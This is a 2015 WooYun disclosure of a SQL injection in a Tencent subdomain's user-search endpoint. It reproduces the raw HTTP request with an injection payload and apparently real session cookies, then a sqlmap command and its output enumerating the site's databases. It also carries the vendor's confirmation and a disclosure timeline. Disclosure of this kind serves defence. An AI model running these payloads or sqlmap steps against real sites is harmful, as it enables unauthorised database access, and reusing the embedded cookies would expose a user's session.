腾讯某分站SQL注射

编号116603
Urlhttp://www.wooyun.org/bug.php?action=view&id=116603
漏洞状态厂商已经确认
漏洞标题腾讯某分站SQL注射
漏洞类型SQL注射漏洞
厂商腾讯
白帽子Jannock
提交日期2015-05-28 02:02:00
公开日期2015-07-12 11:04:00
修复时间(not set)
确认时间2015-05-28 00:00:00
Confirm Spend0
漏洞标签php+字符类型注射
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank15
漏洞简介
腾讯某分站SQL注射
漏洞细节

1.txt

POST /server/user-search HTTP/1.1
Host: ycg.qq.com
Proxy-Connection: keep-alive
Content-Length: 56
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://ycg.qq.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://ycg.qq.com/search.html?text=ee
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: pgv_pvi=6922592256; ptui_loginuin=263412044; pt2gguin=o0263412044; RK=lSOHAQA9U7; ptcz=3d56446153633909f628433ffde38284daeb5bf437ba89f4b5eced1c82e9dd25; PHPSESSID=oplng3j7moop78v4afm3r72k76; pgv_info=ssid=s9172793804; ts_last=ycg.qq.com/; pgv_pvid=5727859230; o_cookie=263412044; ts_uid=7065317080
pagenav=1&pagenum=75&txt=ee'and 1=1 * limit 1%23&g_tk=5381


python sqlmap.py -r 1.txt --dbms=mysql --techniq
ue=B
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150211}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:58:52
1.txt
[22:58:52] [INFO] parsing HTTP request from '1.txt'
1.txt
custom injection marking character ('*') found in option '--data'. Do you want t
o process it? [Y/n/q] y
[22:58:55] [INFO] testing connection to the target URL
[22:58:56] [INFO] heuristics detected web page charset 'ascii'
[22:58:56] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[22:58:57] [INFO] target URL is stable
[22:58:57] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[22:58:57] [INFO] confirming that (custom) POST parameter '#1*' is dynamic
[22:58:57] [INFO] (custom) POST parameter '#1*' is dynamic
[22:58:57] [WARNING] heuristic (basic) test shows that (custom) POST parameter '
#1*' might not be injectable
[22:58:57] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] n
[22:59:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:59:00] [INFO] (custom) POST parameter '#1*' seems to be 'AND boolean-based b
lind - WHERE or HAVING clause' injectable
[22:59:00] [INFO] checking if the injection point on (custom) POST parameter '#1
*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] n
sqlmap identified the following injection points with a total of 11 HTTP(s) requ
ests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pagenav=1&pagenum=75&txt=ee'and 1=1 AND 8865=8865 limit 1#&g_tk=53
81
---
[22:59:19] [INFO] testing MySQL
[22:59:19] [INFO] confirming MySQL
[22:59:20] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0

POC

[23:01:15] [INFO] fetching database names
[23:01:15] [INFO] fetching number of databases
[23:01:15] [INFO] retrieved: 2
[23:01:16] [INFO] retrieving the length of query output
[23:01:16] [INFO] retrieved: 18
[23:01:37] [INFO] retrieved: information_schema
[23:01:37] [INFO] retrieving the length of query output
[23:01:37] [INFO] retrieved: 4
[23:01:43] [INFO] retrieved: work
available databases [2]:
[*] `work`
[*] information_schema

修复方案

过滤

状态信息 2015-05-28: 细节已通知厂商并且等待厂商处理中
2015-05-28: 厂商已经确认,细节仅向厂商公开
2015-06-07: 细节向核心白帽子及相关领域专家公开
2015-06-17: 细节向普通白帽子公开
2015-06-27: 细节向实习白帽子公开
2015-07-12: 细节向公众公开
厂商回复非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。
回应信息危害等级:高漏洞Rank:15 确认时间:2015-05-28 11:03
Showing 1-18 of 18 items.
评论内容评论人点赞数评论时间

永远的一哥!

写个七02015-07-22 21:17:00

永远的一哥!

Aphxg02015-06-04 22:04:00

永远的一哥

Mr.Black02015-05-28 18:20:00

永远的一哥!

Mirror02015-05-28 16:57:00

永远的一哥!

hh201402015-05-28 15:56:00

永远的一哥!

hey_man02015-05-28 15:51:00

永远的一哥!

Taro02015-05-28 15:21:00

一哥重现江湖

大亮02015-05-28 14:14:00

这才是哥啊!看完他的白帽信息,我发现我已经跪着了!

狼牙月02015-05-28 14:03:00

永远的伟哥!

这只猪02015-05-28 13:31:00

永远的一哥!

luwikes02015-05-28 13:04:00

永远的一哥!

bobbi02015-05-28 12:36:00

永远的一哥!

chock02015-05-28 12:10:00

永远的一哥!

Looke02015-05-28 11:31:00

永远的一哥!

泳少02015-05-28 11:31:00

永远的一哥!

魔术师02015-05-28 11:05:00

一哥回归了

jeary02015-05-28 11:05:00

永远的一哥!

江苏苏宁易购电子商务有限公司02015-05-28 11:04:00